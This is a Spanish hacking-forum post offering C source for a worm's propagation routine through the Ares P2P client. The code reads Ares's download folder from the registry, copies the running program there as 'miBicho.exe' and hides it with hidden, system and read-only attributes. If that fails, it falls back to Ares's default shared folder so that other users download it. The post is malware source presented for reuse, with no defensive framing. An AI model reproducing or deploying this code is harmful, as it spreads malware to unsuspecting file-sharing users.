Bueno, aquí os dejo una función de propagación P2P usando Ares. El código original en ASM pertenece a YST.

Código: Seleccionar todo

////////////////////////////////////////////////////////////////
//Autor: Hacker_Zero (Traducido de un source de YST)
//Web: http://foro.eduhack.es
//Descripcion: Función de propagación P2P por Ares
////////////////////////////////////////////////////////////////

void InfectP2P()
{
	_CopyMemory miCopyMemory=NULL;
	miCopyMemory=(_CopyMemory)GetProcAddress(GetModuleHandle("KERNEL32.DLL"),"RtlMoveMemory");

	//Obtenemos nuestra ruta
	LPSTR AppName=(LPSTR)GlobalAlloc(GPTR,MAX_PATH);
	GetModuleFileName(0,AppName,MAX_PATH);

	HKEY hReg;
	DWORD regLenght=MAX_PATH*2;
	PPERF_DATA_BLOCK regValue =(PPERF_DATA_BLOCK)GlobalAlloc(GPTR,regLenght);

	//Abrimos la clave del registro de Ares
	if(RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Ares",0,KEY_READ,&hReg)==ERROR_SUCCESS)
	{
		//Obtenemos el valor de Dowload.Folder
		if(RegQueryValueEx(hReg,"Download.Folder",0,0,(LPBYTE)regValue,&regLenght)!=ERROR_FILE_NOT_FOUND)
		{
			LPSTR Crypted=(LPSTR)regValue;
			LPSTR Decrypted=(LPSTR)GlobalAlloc(GPTR,MAX_PATH);
			LPSTR Temp=(LPSTR)GlobalAlloc(GPTR,3);
			
			//Desencriptamos la clave del registro, vamos pasando los caracteres de hexa a char
			//Vamos caracter por caracter
			for(DWORD i=0,x=0;i<regLenght;i++,x++)
			{
				miCopyMemory(&Temp[0],&Crypted[i*2],2);
				Temp[2]=0;

				//Si se trata del caracter 'ó' lo hacemos así sinó dá problemas
				if (Temp[0]=='C' && Temp[1]=='3')
				{
					Decrypted[i]='ó';
					i++;
				}
				
				//Si no es 'ó' pasamos la cadena hex a int y lo añadimos a la cadena desencriptada
				else
				{
					DWORD numero=strtol(Temp,0,16);
					Decrypted[x]=numero;
				}
			}
			
			//Añadimos a la ruta el nombre de nuestro bicho
			lstrcat(Decrypted,"\\miBicho.exe");

			//Nos copiamos
			CopyFileA(AppName,Decrypted,TRUE);
			
			//Ponemos atributos de oculto, de sistema y de sólo lectura al worm
			SetFileAttributesA(Decrypted,FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM+FILE_ATTRIBUTE_READONLY);

			RegCloseKey(hReg);

			GlobalFree(Crypted);
			GlobalFree(Decrypted);
			GlobalFree(Temp);
		}
		else
		{
			//Obtenemos el valor de %Local AppData%
			RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders",0,KEY_READ,&hReg);
			RegQueryValueEx(hReg,"Local AppData",0,0,(LPBYTE)regValue,&regLenght);
			RegCloseKey(hReg);
			
			LPSTR DefaultPath=(LPSTR)GlobalAlloc(GPTR,MAX_PATH);
			
			lstrcat(DefaultPath,(LPSTR)regValue);
			lstrcat(DefaultPath,"\\Ares\\My Shared Folder\\miBicho.exe");
			
			//Nos copiamos al path
			CopyFileA(AppName,DefaultPath,TRUE);

			//Ponemos atributos de oculto, de sistema y de sólo lectura al worm
			SetFileAttributesA(DefaultPath,FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM+FILE_ATTRIBUTE_READONLY);

			GlobalFree(DefaultPath);
		}	
	}

	GlobalFree(AppName);
	GlobalFree(regValue);

	//En caso de no estar Ares instalado no hacemos nada
}
Saludos
Responder

Volver a “Fuentes”